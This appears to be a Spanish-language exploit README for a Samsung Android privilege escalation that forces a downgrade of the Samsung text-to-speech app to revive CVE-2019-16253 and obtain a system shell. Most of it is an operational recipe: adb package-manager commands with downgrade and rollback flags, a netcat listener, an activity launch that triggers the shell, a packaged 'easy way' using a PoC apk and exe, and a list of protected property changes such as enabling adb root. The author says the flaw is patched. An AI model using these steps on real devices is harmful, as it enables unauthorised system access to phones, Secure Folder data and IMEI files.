
Exploit que descubrí en octubre de 2022 con el binario del administrador de paquetes de Android (pm) y la forma en que manejaba los indicadores de depuración, parcheado en marzo de 2023. Utiliza CVE-2019-16253 como carga útil para obtener un shell del sistema.
Allá por 2019, se encontró una vulnerabilidad que llegaría a conocerse como "CVE-2019-16253" que afectaba al motor TTS de Samsung en versiones anteriores a la 3.0.02.7. Este exploit permitía a un atacante local escalar privilegios hasta nivel de sistema y posteriormente fue parcheado por Samsung.
Esencialmente, la aplicación TTS de Samsung aceptaba ciegamente cualquier dato que recibiera del motor TTS. Puedes pasarle al motor TTS una librería que luego se le entrega a la aplicación TTS, la cual a su vez carga esa librería y la ejecuta con privilegios de sistema, UID 1000 en Android. Esto se parcheó posteriormente para que la aplicación TTS verificara los datos provenientes del motor y la versión instalada, cerrando este agujero en particular.
Sin embargo, con Android 10, Google introdujo la capacidad de revertir una aplicación instalándola con el parámetro ENABLE_ROLLBACK. Esto permite al usuario revertir una versión de una aplicación instalada en el dispositivo a una versión anterior de la misma aplicación instalada en el dispositivo. Creo que un descuido ha permitido que esto se extienda a la aplicación de texto a voz de Samsung, así como a cualquier aplicación en cualquier dispositivo Android 10+ que esté actualmente en uso.
La raíz de esta cadena de ataque se remonta a la bandera '-d' agregada al comando del administrador de paquetes al instalar una aplicación. Solo debería funcionar para aplicaciones depurables, pero también funciona para aplicaciones no depurables, y es por eso que la aplicación TTS puede ser degradada forzosamente.
En otras palabras, mientras que el exploit de 2019 fue corregido y se distribuyó una versión actualizada de la aplicación TTS, primero una, ahora múltiples soluciones alternativas y bypasses para instalarlo y explotarlo en dispositivos lanzados tres (y quizás cuatro) años después han sido descubiertos, lo que lleva a preguntarse cuántos exploits pasados son revivibles.
En marzo, Samsung lanzó un parche para el exploit, sin embargo, pude encontrar rápidamente una solución alternativa para el parche de marzo de Samsung y esto también ha sido reportado y parcheado, concluyendo la saga de 2 años del infame "TTS System Shell"
Guía sencilla --
1 Instalar todos los apks, abrir al menos una vez.
2 Reiniciar, cuando el dispositivo se reinicie, ejecutar el siguiente comando desde ADB.
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk "
3 en una consola, escribe nc -lp 9999
4 Ejecutar el siguiente comando en una segunda consola: adb shell am start -n com.samsung.SMT/.gui.DownloadList
LISTO.
si tienes problemas para que inicie, desinstala SMT (Samsung Text-To-Speech) por completo, luego reinstala la versión vulnerable e intenta de nuevo desde el paso 3 en adelante.
PARCHEADO A PARTIR DE 02/2023 Visto en XDA antes de que la divulgación pública fuera eliminada por los moderadores de XDA. Por lo demás, permanecerá sin cambios aquí como archivo.
Se espera que esto funcione para todos los dispositivos móviles Samsung fabricados hasta la fecha de redacción de este artículo, excepto algunos dispositivos JDM. (19/01/2023)
Cosas interesantes que funcionan: Acceso a la mayoría de /efs /efs/imei /efs/sec_efs /efs/FactoryApp - Acceso a la mayoría de /data /data/system /data/user/0/ANY_SYSTEM_APP - El binario "Insthk" se vuelve utilizable, - Secure Folder/Apps Separadas queda COMPLETAMENTE comprometida si también instalas el PoC en ella (UID 150_system) - iniciar IOTHidden Menu, DM Mode, Service Mode, Múltiples menús de depuración y ocultos, así como preconfig en contexto del sistema- Cambiar muchas propiedades protegidas, como: setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 además de bastante más.
La forma fácil - Paso 1 - Descargar "Komraids System Shell.zip", (adjunta está la versión más reciente) y extraer en cualquier lugar del escritorio. Paso 2 - Enviar "samsungTTSVULN2.apk" a /data/local/tmp Paso 3 - Asegurarse de que la depuración USB esté ACTIVADA y la computadora autorizada. También asegurarse de que el ahorro de energía esté DESACTIVADO. Paso 4 - Instalar komraids_POC_V1.5.apk, reiniciar el dispositivo. Paso 5 - Cuando el dispositivo se haya reiniciado completamente y esté desbloqueado, ejecutar systemshell.exe Paso 6 - Ahora deberías estar en un shell con UID 1000. Disfruta. Ten cuidado con lo que tocas.
Cosas a tener en cuenta: El .exe solo necesita ejecutarse una vez después de cada reinicio; puedes usarlo si lo prefieres, o bien, puedes abrir manualmente un shell del sistema tú mismo siguiendo el Paso 5 de "¿Cómo funciona?" más abajo.
No seas tonto, no me hago responsable de ninguna estupidez que hagas. PWNED - K0mraid3 2022-10-06 175216.png
Muchas gracias a @oakieville por el .exe y por mucha ayuda ajustando el código de este proyecto.
¡Este proyecto fue traído a ustedes por VAULT-TEC Dev Ops!